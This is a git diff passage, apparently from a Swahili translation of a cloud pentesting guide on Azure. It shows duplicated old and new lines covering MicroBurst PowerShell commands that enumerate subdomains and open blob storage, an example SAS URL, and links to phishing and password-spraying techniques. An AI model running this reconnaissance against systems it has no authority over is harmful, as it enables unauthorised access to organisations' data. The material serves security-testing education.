Unaweza kutumia mbinu kutoka [**MicroBust**](https://github.com/NetSPI/MicroBurst) kwa lengo hilo. Kazi hii itatafuta jina la kikoa cha msingi (na permutations chache) katika **mikoa ya huduma za azure:**
|
||||
Unaweza kutumia mbinu kutoka [**MicroBust**](https://github.com/NetSPI/MicroBurst) kwa lengo hilo. Kazi hii itatafuta jina la msingi la eneo (na permutations chache) katika **maeneo ya huduma za azure:**
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||
```
|
||||
## Hifadhi Iliyofunguliwa
|
||||
## Hifadhi ya Wazi
|
||||
|
||||
Unaweza kugundua hifadhi iliyofunguliwa kwa kutumia chombo kama [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) ambacho kitatumia faili **`Microburst/Misc/permitations.txt`** kuunda permutations (rahisi sana) kujaribu **kupata akaunti za hifadhi zilizofunguliwa**.
|
||||
Unaweza kugundua hifadhi ya wazi kwa kutumia chombo kama [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) ambacho kitatumia faili **`Microburst/Misc/permitations.txt`** kuunda permutations (rahisi sana) kujaribu **kupata akaunti za hifadhi za wazi**.
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1
|
||||
Invoke-EnumerateAzureBlobs -Base corp
|
||||
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
```
|
||||
### SAS URLs
|
||||
|
||||
_**sahihi ya ufikiaji wa pamoja**_ (SAS) URL ni URL inayotoa **ufikiaji** kwa sehemu fulani ya akaunti ya Hifadhi (inaweza kuwa kontena kamili, faili...) kwa ruhusa maalum (kusoma, kuandika...) juu ya rasilimali. Ikiwa utapata moja iliyovuja unaweza kuwa na uwezo wa kufikia taarifa nyeti, zinaonekana kama hii (hii ni kufikia kontena, ikiwa ilikuwa inatoa ufikiaji kwa faili tu, njia ya URL itakuwa na faili hiyo pia):
|
||||
A _**shared access signature**_ (SAS) URL ni URL ambayo **inatoa ufikiaji** kwa sehemu fulani ya akaunti ya Hifadhi (inaweza kuwa kontena kamili, faili...) kwa ruhusa maalum (kusoma, kuandika...) juu ya rasilimali. Ikiwa utapata moja iliyovuja unaweza kuwa na uwezo wa kufikia taarifa nyeti, zinaonekana kama hii (hii ni kufikia kontena, ikiwa ilikuwa inatoa ufikiaji kwa faili tu, njia ya URL itakuwa na faili hiyo pia):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
@@ -203,8 +203,8 @@ Tumia [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-
|
||||
|
||||
### Phishing
|
||||
|
||||
- [**Phishing ya Kawaida**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akidi au OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Phishing ya Nambari ya Kifaa**](az-device-code-authentication-phishing.md)
|
||||
- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credentials or OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
|
||||
|
||||
### Password Spraying / Brute-Force
|
||||
|
||||
|
||||
Reference in New Issue
Block a user